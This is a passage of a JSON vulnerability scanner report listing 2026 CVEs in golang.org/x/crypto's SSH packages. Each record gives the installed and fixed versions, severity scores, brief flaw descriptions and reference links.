"https://access.redhat.com/errata/RHSA-2026:37296", "https://access.redhat.com/errata/RHSA-2026:37387", "https://access.redhat.com/errata/RHSA-2026:40118", "https://access.redhat.com/errata/RHSA-2026:40262", "https://access.redhat.com/errata/RHSA-2026:40945", "https://access.redhat.com/errata/RHSA-2026:40969", "https://access.redhat.com/errata/RHSA-2026:40972", "https://access.redhat.com/errata/RHSA-2026:40974", "https://access.redhat.com/errata/RHSA-2026:41019", "https://access.redhat.com/errata/RHSA-2026:41031", "https://access.redhat.com/errata/RHSA-2026:41036", "https://access.redhat.com/errata/RHSA-2026:41055", "https://access.redhat.com/errata/RHSA-2026:41066", "https://access.redhat.com/errata/RHSA-2026:42146", "https://access.redhat.com/errata/RHSA-2026:42796", "https://access.redhat.com/errata/RHSA-2026:43052", "https://access.redhat.com/errata/RHSA-2026:43692", "https://access.redhat.com/errata/RHSA-2026:46885", "https://access.redhat.com/errata/RHSA-2026:46903", "https://access.redhat.com/errata/RHSA-2026:47735", "https://access.redhat.com/errata/RHSA-2026:47949", "https://access.redhat.com/errata/RHSA-2026:48151", "https://access.redhat.com/errata/RHSA-2026:48693", "https://access.redhat.com/errata/RHSA-2026:49944", "https://access.redhat.com/errata/RHSA-2026:51033", "https://access.redhat.com/errata/RHSA-2026:52857", "https://access.redhat.com/errata/RHSA-2026:52910", "https://access.redhat.com/errata/RHSA-2026:54400", "https://access.redhat.com/errata/RHSA-2026:54432", "https://access.redhat.com/errata/RHSA-2026:57191", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:57365", "https://access.redhat.com/errata/RHSA-2026:57801", "https://access.redhat.com/errata/RHSA-2026:59467", "https://access.redhat.com/errata/RHSA-2026:59559", "https://access.redhat.com/errata/RHSA-2026:59593", "https://access.redhat.com/errata/RHSA-2026:60446", "https://access.redhat.com/errata/RHSA-2026:60454", "https://access.redhat.com/errata/RHSA-2026:60477", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:61314", "https://access.redhat.com/errata/RHSA-2026:65126", "https://access.redhat.com/errata/RHSA-2026:65964", "https://access.redhat.com/errata/RHSA-2026:66022", "https://access.redhat.com/errata/RHSA-2026:67450", "https://access.redhat.com/security/cve/CVE-2026-39829", "https://bugzilla.redhat.com/2480680", "https://bugzilla.redhat.com/2480681", "https://bugzilla.redhat.com/2480685", "https://bugzilla.redhat.com/2480688", "https://bugzilla.redhat.com/2480757", "https://bugzilla.redhat.com/2480761", "https://bugzilla.redhat.com/2493620", "https://bugzilla.redhat.com/show_bug.cgi?id=2480680", "https://bugzilla.redhat.com/show_bug.cgi?id=2480681", "https://bugzilla.redhat.com/show_bug.cgi?id=2480685", "https://bugzilla.redhat.com/show_bug.cgi?id=2480688", "https://bugzilla.redhat.com/show_bug.cgi?id=2480757", "https://bugzilla.redhat.com/show_bug.cgi?id=2480761", "https://bugzilla.redhat.com/show_bug.cgi?id=2493620", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25681", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39832", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39835", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42508", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-57231", "https://errata.almalinux.org/9/ALSA-2026-37123.html", "https://errata.rockylinux.org/RLSA-2026:37123", "https://go.dev/cl/781641", "https://go.dev/cl/781661", "https://go.dev/issue/79565", "https://groups.google.com/g/golang-announce/c/a082jnz-LvI", "https://linux.oracle.com/cve/CVE-2026-39829.html", "https://linux.oracle.com/errata/ELSA-2026-37123.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-39829", "https://pkg.go.dev/vuln/GO-2026-5018", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39829.json", "https://www.cve.org/CVERecord?id=CVE-2026-39829" ], "PublishedDate": "2026-05-22T04:16:22.31Z", "LastModifiedDate": "2026-09-16T13:17:52.28Z" }, { "VulnerabilityID": "CVE-2026-39830", "VendorIDs": [ "GO-2026-5017" ], "PkgID": "golang.org/x/crypto@v0.47.0", "PkgName": "golang.org/x/crypto", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/crypto@v0.47.0", "UID": "2b11d4d3c3314628" }, "InstalledVersion": "v0.47.0", "FixedVersion": "0.52.0", "Status": "fixed", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-39830", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:efc1a5e026ce2fca891c4e99f8d352bbdbc3ad0d4de573545b1946edb5788ede", "Title": "golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Denial of Service via resource leak from unsolicited SSH responses", "Description": "A malicious SSH peer could send unsolicited global request responses to fill an internal buffer, blocking the connection's read loop. The blocked goroutine could not be released by calling Close(), resulting in a resource leak per connection. Unsolicited global responses are now discarded.", "Severity": "HIGH", "CweIDs": [ "CWE-119", "CWE-772" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:29455", "https://access.redhat.com/errata/RHSA-2026:35833", "https://access.redhat.com/errata/RHSA-2026:36199", "https://access.redhat.com/errata/RHSA-2026:36207", "https://access.redhat.com/errata/RHSA-2026:36319", "https://access.redhat.com/errata/RHSA-2026:36625", "https://access.redhat.com/errata/RHSA-2026:36648", "https://access.redhat.com/errata/RHSA-2026:36651", "https://access.redhat.com/errata/RHSA-2026:36796", "https://access.redhat.com/errata/RHSA-2026:36797", "https://access.redhat.com/errata/RHSA-2026:36808", "https://access.redhat.com/errata/RHSA-2026:37072", "https://access.redhat.com/errata/RHSA-2026:37268", "https://access.redhat.com/errata/RHSA-2026:37271", "https://access.redhat.com/errata/RHSA-2026:37272", "https://access.redhat.com/errata/RHSA-2026:37275", "https://access.redhat.com/errata/RHSA-2026:37278", "https://access.redhat.com/errata/RHSA-2026:37286", "https://access.redhat.com/errata/RHSA-2026:37296", "https://access.redhat.com/errata/RHSA-2026:37387", "https://access.redhat.com/errata/RHSA-2026:40118", "https://access.redhat.com/errata/RHSA-2026:40262", "https://access.redhat.com/errata/RHSA-2026:40945", "https://access.redhat.com/errata/RHSA-2026:40969", "https://access.redhat.com/errata/RHSA-2026:40972", "https://access.redhat.com/errata/RHSA-2026:40974", "https://access.redhat.com/errata/RHSA-2026:41019", "https://access.redhat.com/errata/RHSA-2026:41031", "https://access.redhat.com/errata/RHSA-2026:41036", "https://access.redhat.com/errata/RHSA-2026:41066", "https://access.redhat.com/errata/RHSA-2026:42146", "https://access.redhat.com/errata/RHSA-2026:42796", "https://access.redhat.com/errata/RHSA-2026:43052", "https://access.redhat.com/errata/RHSA-2026:43692", "https://access.redhat.com/errata/RHSA-2026:46885", "https://access.redhat.com/errata/RHSA-2026:47735", "https://access.redhat.com/errata/RHSA-2026:48151", "https://access.redhat.com/errata/RHSA-2026:49944", "https://access.redhat.com/errata/RHSA-2026:51033", "https://access.redhat.com/errata/RHSA-2026:52857", "https://access.redhat.com/errata/RHSA-2026:52910", "https://access.redhat.com/errata/RHSA-2026:54400", "https://access.redhat.com/errata/RHSA-2026:54531", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:57801", "https://access.redhat.com/errata/RHSA-2026:59467", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:61314", "https://access.redhat.com/errata/RHSA-2026:65964", "https://access.redhat.com/errata/RHSA-2026:66022", "https://access.redhat.com/errata/RHSA-2026:66521", "https://access.redhat.com/errata/RHSA-2026:67450", "https://access.redhat.com/errata/RHSA-2026:69961", "https://access.redhat.com/security/cve/CVE-2026-39830", "https://bugzilla.redhat.com/2480684", "https://bugzilla.redhat.com/2508234", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/2515840", "https://bugzilla.redhat.com/show_bug.cgi?id=2480684", "https://bugzilla.redhat.com/show_bug.cgi?id=2508234", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2515840", "https://bugzilla.redhat.com/show_bug.cgi?id=2518147", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-17106", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19730", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39830", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56859", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-69961.html", "https://errata.rockylinux.org/RLSA-2026:69961", "https://github.com/golang/crypto/commit/4e7a7384ecbc8d519f6f4c11b36fa9d761fc8946", "https://go.dev/cl/781640", "https://go.dev/cl/781664", "https://go.dev/issue/79564", "https://groups.google.com/g/golang-announce/c/a082jnz-LvI", "https://linux.oracle.com/cve/CVE-2026-39830.html", "https://linux.oracle.com/errata/ELSA-2026-69961.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-39830", "https://pkg.go.dev/vuln/GO-2026-5017", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39830.json", "https://ubuntu.com/security/notices/USN-8447-1", "https://ubuntu.com/security/notices/USN-8447-2", "https://ubuntu.com/security/notices/USN-8447-3", "https://www.cve.org/CVERecord?id=CVE-2026-39830" ], "PublishedDate": "2026-05-22T04:16:22.44Z", "LastModifiedDate": "2026-09-16T13:17:53.697Z" }, { "VulnerabilityID": "CVE-2026-39831", "VendorIDs": [ "GO-2026-5019" ], "PkgID": "golang.org/x/crypto@v0.47.0", "PkgName": "golang.org/x/crypto", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/crypto@v0.47.0", "UID": "2b11d4d3c3314628" }, "InstalledVersion": "v0.47.0", "FixedVersion": "0.52.0", "Status": "fixed", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-39831", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:77653788be334b4186e2a50f64bc098277c4ec06c6a5413db92dddd9bb3da561", "Title": "golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Security key bypass due to missing user presence check", "Description": "The Verify() method for FIDO/U2F security key types (sk-ecdsa-sha2-nistp256@openssh.com, sk-ssh-ed25519@openssh.com) did not check the User Presence flag. Signatures generated without physical touch were accepted, allowing unattended use of a hardware security key. To restore the previous behavior, return a \"no-touch-required\" extension in Permissions.Extensions from PublicKeyCallback.", "Severity": "HIGH", "CweIDs": [ "CWE-862" ], "VendorSeverity": { "amazon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-39831", "https://github.com/golang/crypto/commit/b61cf853a89d82cad68da5e12a6beca2116f8456", "https://go.dev/cl/781662", "https://go.dev/issue/79566", "https://groups.google.com/g/golang-announce/c/a082jnz-LvI", "https://nvd.nist.gov/vuln/detail/CVE-2026-39831", "https://pkg.go.dev/vuln/GO-2026-5019", "https://ubuntu.com/security/notices/USN-8447-1", "https://ubuntu.com/security/notices/USN-8447-3", "https://www.cve.org/CVERecord?id=CVE-2026-39831" ], "PublishedDate": "2026-05-22T04:16:22.553Z", "LastModifiedDate": "2026-07-23T16:10:00.137Z" }, { "VulnerabilityID": "CVE-2026-39832", "VendorIDs": [ "GHSA-f5wc-c3c7-36mc", "GO-2026-5006" ], "PkgID": "golang.org/x/crypto@v0.47.0", "PkgName": "golang.org/x/crypto", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/crypto@v0.47.0", "UID": "2b11d4d3c3314628" }, "InstalledVersion": "v0.47.0", "FixedVersion": "0.52.0", "Status": "fixed", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-39832", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:371474119bdc13b0470c3a7436c17e9f00d93802a4804f8e498f4b56a42a76c4", "Title": "golang.org/x/crypto/ssh/agent: golang.org/x/crypto/ssh/agent: Security bypass due to improper handling of key restrictions", "Description": "When adding a key to a remote agent constraint extensions such as restrict-destination-v00@openssh.com were not serialized in the request. Destination restrictions were silently stripped when forwarding keys, allowing unrestricted use of the key on the remote host. The client now serializes all constraint extensions. Additionally, the in-memory keyring returned by NewKeyring() now rejects keys with unsupported constraint extensions instead of silently ignoring them.", "Severity": "HIGH", "CweIDs": [ "CWE-502", "CWE-281" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N", "V3Score": 8.7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:35833", "https://access.redhat.com/errata/RHSA-2026:36199", "https://access.redhat.com/errata/RHSA-2026:36319", "https://access.redhat.com/errata/RHSA-2026:36625", "https://access.redhat.com/errata/RHSA-2026:36648", "https://access.redhat.com/errata/RHSA-2026:36651", "https://access.redhat.com/errata/RHSA-2026:36796", "https://access.redhat.com/errata/RHSA-2026:36797", "https://access.redhat.com/errata/RHSA-2026:37072", "https://access.redhat.com/errata/RHSA-2026:37123", "https://access.redhat.com/errata/RHSA-2026:37271", "https://access.redhat.com/errata/RHSA-2026:37387", "https://access.redhat.com/errata/RHSA-2026:37410", "https://access.redhat.com/errata/RHSA-2026:40118", "https://access.redhat.com/errata/RHSA-2026:40262", "https://access.redhat.com/errata/RHSA-2026:40945", "https://access.redhat.com/errata/RHSA-2026:40972", "https://access.redhat.com/errata/RHSA-2026:41019", "https://access.redhat.com/errata/RHSA-2026:41031", "https://access.redhat.com/errata/RHSA-2026:41036", "https://access.redhat.com/errata/RHSA-2026:41066", "https://access.redhat.com/errata/RHSA-2026:42146", "https://access.redhat.com/errata/RHSA-2026:42796", "https://access.redhat.com/errata/RHSA-2026:43052", "https://access.redhat.com/errata/RHSA-2026:43692", "https://access.redhat.com/errata/RHSA-2026:49944", "https://access.redhat.com/errata/RHSA-2026:52857", "https://access.redhat.com/errata/RHSA-2026:52910", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:59579", "https://access.redhat.com/errata/RHSA-2026:61314", "https://access.redhat.com/errata/RHSA-2026:66521", "https://access.redhat.com/errata/RHSA-2026:67450", "https://access.redhat.com/security/cve/CVE-2026-39832", "https://bugzilla.redhat.com/2480680", "https://bugzilla.redhat.com/2480685", "https://bugzilla.redhat.com/show_bug.cgi?id=2480680", "https://bugzilla.redhat.com/show_bug.cgi?id=2480685", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39832", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39835", "https://errata.almalinux.org/9/ALSA-2026-37410.html", "https://errata.rockylinux.org/RLSA-2026:37410", "https://github.com/golang/crypto/commit/e3d1254f1e7e60baa086142c46174bf6d8d0fe50", "https://go.dev/cl/778640", "https://go.dev/cl/778641", "https://go.dev/cl/778642", "https://go.dev/issue/79435", "https://groups.google.com/g/golang-announce/c/a082jnz-LvI", "https://linux.oracle.com/cve/CVE-2026-39832.html", "https://linux.oracle.com/errata/ELSA-2026-37410.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-39832", "https://pkg.go.dev/vuln/GO-2026-5006", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39832.json", "https://ubuntu.com/security/notices/USN-8447-1", "https://www.cve.org/CVERecord?id=CVE-2026-39832" ], "PublishedDate": "2026-05-22T04:16:22.663Z", "LastModifiedDate": "2026-09-15T12:17:40.787Z" }, { "VulnerabilityID": "CVE-2026-39835", "VendorIDs": [ "GO-2026-5015" ], "PkgID": "golang.org/x/crypto@v0.47.0", "PkgName": "golang.org/x/crypto", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/crypto@v0.47.0", "UID": "2b11d4d3c3314628" }, "InstalledVersion": "v0.47.0", "FixedVersion": "0.52.0", "Status": "fixed", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-39835", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:c0cc3654e3bc83233046e4540d814fd24ac40f5e4adcd58e2360b4c7aace4a22", "Title": "golang.org/x/crypto/ssh: golang: golang.org/x/crypto/ssh: Denial of Service via crafted SSH certificate", "Description": "SSH servers which use CertChecker as a public key callback without setting IsUserAuthority or IsHostAuthority could be caused to panic by a client presenting a certificate. CertChecker now returns an error instead of panicking when these callbacks are nil.", "Severity": "HIGH", "CweIDs": [ "CWE-295", "CWE-476" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:26546", "https://access.redhat.com/errata/RHSA-2026:26547", "https://access.redhat.com/errata/RHSA-2026:36199", "https://access.redhat.com/errata/RHSA-2026:36207", "https://access.redhat.com/errata/RHSA-2026:36319", "https://access.redhat.com/errata/RHSA-2026:36625", "https://access.redhat.com/errata/RHSA-2026:36648", "https://access.redhat.com/errata/RHSA-2026:36651", "https://access.redhat.com/errata/RHSA-2026:36796", "https://access.redhat.com/errata/RHSA-2026:36797", "https://access.redhat.com/errata/RHSA-2026:37072", "https://access.redhat.com/errata/RHSA-2026:37123", "https://access.redhat.com/errata/RHSA-2026:37268", "https://access.redhat.com/errata/RHSA-2026:37271", "https://access.redhat.com/errata/RHSA-2026:37272", "https://access.redhat.com/errata/RHSA-2026:37286", "https://access.redhat.com/errata/RHSA-2026:37296", "https://access.redhat.com/errata/RHSA-2026:37387", "https://access.redhat.com/errata/RHSA-2026:37410", "https://access.redhat.com/errata/RHSA-2026:38504", "https://access.redhat.com/errata/RHSA-2026:40118", "https://access.redhat.com/errata/RHSA-2026:40262", "https://access.redhat.com/errata/RHSA-2026:40945", "https://access.redhat.com/errata/RHSA-2026:40969", "https://access.redhat.com/errata/RHSA-2026:40972", "https://access.redhat.com/errata/RHSA-2026:40974", "https://access.redhat.com/errata/RHSA-2026:41019", "https://access.redhat.com/errata/RHSA-2026:41031", "https://access.redhat.com/errata/RHSA-2026:41036", "https://access.redhat.com/errata/RHSA-2026:41066", "https://access.redhat.com/errata/RHSA-2026:42146", "https://access.redhat.com/errata/RHSA-2026:42796", "https://access.redhat.com/errata/RHSA-2026:43052", "https://access.redhat.com/errata/RHSA-2026:43692", "https://access.redhat.com/errata/RHSA-2026:46885", "https://access.redhat.com/errata/RHSA-2026:47735", "https://access.redhat.com/errata/RHSA-2026:47949", "https://access.redhat.com/errata/RHSA-2026:48151", "https://access.redhat.com/errata/RHSA-2026:51033", "https://access.redhat.com/errata/RHSA-2026:51036", "https://access.redhat.com/errata/RHSA-2026:51038", "https://access.redhat.com/errata/RHSA-2026:52857", "https://access.redhat.com/errata/RHSA-2026:52910", "https://access.redhat.com/errata/RHSA-2026:54525", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:59467", "https://access.redhat.com/errata/RHSA-2026:59593", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:62260", "https://access.redhat.com/errata/RHSA-2026:65126", "https://access.redhat.com/errata/RHSA-2026:66022", "https://access.redhat.com/errata/RHSA-2026:66521", "https://access.redhat.com/security/cve/CVE-2026-39835", "https://bugzilla.redhat.com/2480680", "https://bugzilla.redhat.com/2480685", "https://bugzilla.redhat.com/show_bug.cgi?id=2480680", "https://bugzilla.redhat.com/show_bug.cgi?id=2480685", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39832", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39835", "https://errata.almalinux.org/9/ALSA-2026-37410.html", "https://errata.rockylinux.org/RLSA-2026:37410", "https://go.dev/cl/781660", "https://go.dev/issue/79563", "https://groups.google.com/g/golang-announce/c/a082jnz-LvI", "https://linux.oracle.com/cve/CVE-2026-39835.html", "https://linux.oracle.com/errata/ELSA-2026-38504.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-39835", "https://pkg.go.dev/vuln/GO-2026-5015", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39835.json", "https://www.cve.org/CVERecord?id=CVE-2026-39835" ], "PublishedDate": "2026-05-22T04:16:24.53Z", "LastModifiedDate": "2026-09-18T13:18:12.74Z" }, { "VulnerabilityID": "CVE-2026-42508", "VendorIDs": [ "GHSA-5cgq-3rg8-m6cv", "GO-2026-5021" ], "PkgID": "golang.org/x/crypto@v0.47.0", "PkgName": "golang.org/x/crypto", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/crypto@v0.47.0", "UID": "2b11d4d3c3314628" }, "InstalledVersion": "v0.47.0", "FixedVersion": "0.52.0", "Status": "fixed", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42508", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:996ed112d79dd9507b99f13a94c55147ad954be90f24f49536e6e4ed4e82bf09", "Title": "golang.org/x/crypto/ssh/knownhosts: golang: golang.org/x/crypto/ssh/knownhosts: Revocation bypass via unchecked SignatureKey", "Description": "Previously, a revoked 'SignatureKey' belonging to a CA was not correctly checked for revocation. Now, both the 'key' and 'key.SignatureKey' are checked for @revoked.", "Severity": "HIGH", "CweIDs": [ "CWE-295" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:23262", "https://access.redhat.com/errata/RHSA-2026:23264", "https://access.redhat.com/errata/RHSA-2026:26546", "https://access.redhat.com/errata/RHSA-2026:26547", "https://access.redhat.com/errata/RHSA-2026:35833", "https://access.redhat.com/errata/RHSA-2026:36648", "https://access.redhat.com/errata/RHSA-2026:36651", "https://access.redhat.com/errata/RHSA-2026:36796", "https://access.redhat.com/errata/RHSA-2026:36797", "https://access.redhat.com/errata/RHSA-2026:36808", "https://access.redhat.com/errata/RHSA-2026:37072", "https://access.redhat.com/errata/RHSA-2026:37123", "https://access.redhat.com/errata/RHSA-2026:37387", "https://access.redhat.com/errata/RHSA-2026:40118", "https://access.redhat.com/errata/RHSA-2026:40262", "https://access.redhat.com/errata/RHSA-2026:40945", "https://access.redhat.com/errata/RHSA-2026:41019", "https://access.redhat.com/errata/RHSA-2026:41031", "https://access.redhat.com/errata/RHSA-2026:41036", "https://access.redhat.com/errata/RHSA-2026:41064", "https://access.redhat.com/errata/RHSA-2026:41066", "https://access.redhat.com/errata/RHSA-2026:42146", "https://access.redhat.com/errata/RHSA-2026:42796", "https://access.redhat.com/errata/RHSA-2026:43052", "https://access.redhat.com/errata/RHSA-2026:43692", "https://access.redhat.com/errata/RHSA-2026:46885", "https://access.redhat.com/errata/RHSA-2026:47735", "https://access.redhat.com/errata/RHSA-2026:47737", "https://access.redhat.com/errata/RHSA-2026:49944", "https://access.redhat.com/errata/RHSA-2026:51033", "https://access.redhat.com/errata/RHSA-2026:51288", "https://access.redhat.com/errata/RHSA-2026:52857", "https://access.redhat.com/errata/RHSA-2026:52910", "https://access.redhat.com/errata/RHSA-2026:54400", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:59467", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:61314", "https://access.redhat.com/errata/RHSA-2026:65126", "https://access.redhat.com/errata/RHSA-2026:66022", "https://access.redhat.com/errata/RHSA-2026:66521", "https://access.redhat.com/errata/RHSA-2026:67450", "https://access.redhat.com/security/cve/CVE-2026-42508", "https://bugzilla.redhat.com/2480680", "https://bugzilla.redhat.com/2480681", "https://bugzilla.redhat.com/2480685", "https://bugzilla.redhat.com/2480688", "https://bugzilla.redhat.com/2480757", "https://bugzilla.redhat.com/2480761", "https://bugzilla.redhat.com/2493620", "https://bugzilla.redhat.com/show_bug.cgi?id=2480680", "https://bugzilla.redhat.com/show_bug.cgi?id=2480681", "https://bugzilla.redhat.com/show_bug.cgi?id=2480685", "https://bugzilla.redhat.com/show_bug.cgi?id=2480688", "https://bugzilla.redhat.com/show_bug.cgi?id=2480757", "https://bugzilla.redhat.com/show_bug.cgi?id=2480761", "https://bugzilla.redhat.com/show_bug.cgi?id=2493620", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25681", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39832", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39835", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42508", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-57231", "https://errata.almalinux.org/9/ALSA-2026-37123.html", "https://errata.rockylinux.org/RLSA-2026:37123", "https://github.com/golang/crypto/commit/f717e29698a271c548239ed56bf5dd9516d6f7e8", "https://go.dev/cl/781220", "https://go.dev/issue/79568", "https://groups.google.com/g/golang-announce/c/a082jnz-LvI", "https://linux.oracle.com/cve/CVE-2026-42508.html", "https://linux.oracle.com/errata/ELSA-2026-37123.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-42508", "https://pkg.go.dev/vuln/GO-2026-5021", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42508.json", "https://ubuntu.com/security/notices/USN-8447-1", "https://ubuntu.com/security/notices/USN-8447-2", "https://www.cve.org/CVERecord?id=CVE-2026-42508" ], "PublishedDate": "2026-05-22T04:16:25.44Z", "LastModifiedDate": "2026-09-15T12:17:45.777Z" }, { "VulnerabilityID": "CVE-2026-46595", "VendorIDs": [ "GO-2026-5023" ], "PkgID": "golang.org/x/crypto@v0.47.0", "PkgName": "golang.org/x/crypto", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/crypto@v0.47.0", "UID": "2b11d4d3c3314628" }, "InstalledVersion": "v0.47.0", "FixedVersion": "0.52.0", "Status": "fixed", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46595", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:4680c5c2e7c00ab850dcbe70143b793327bf387aa2d292e3e2f25f56eb12409a", "Title": "golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Authorization bypass due to skipped source-address validation", "Description": "Previously, CVE-2024-45337 fixed an authorization bypass for misused ssh server configurations; if any other type of callback is passed other than public key, then the source-address validation would be skipped.", "Severity": "HIGH", "CweIDs": [ "CWE-863", "CWE-303" ], "VendorSeverity": { "amazon": 3, "redhat": 3, 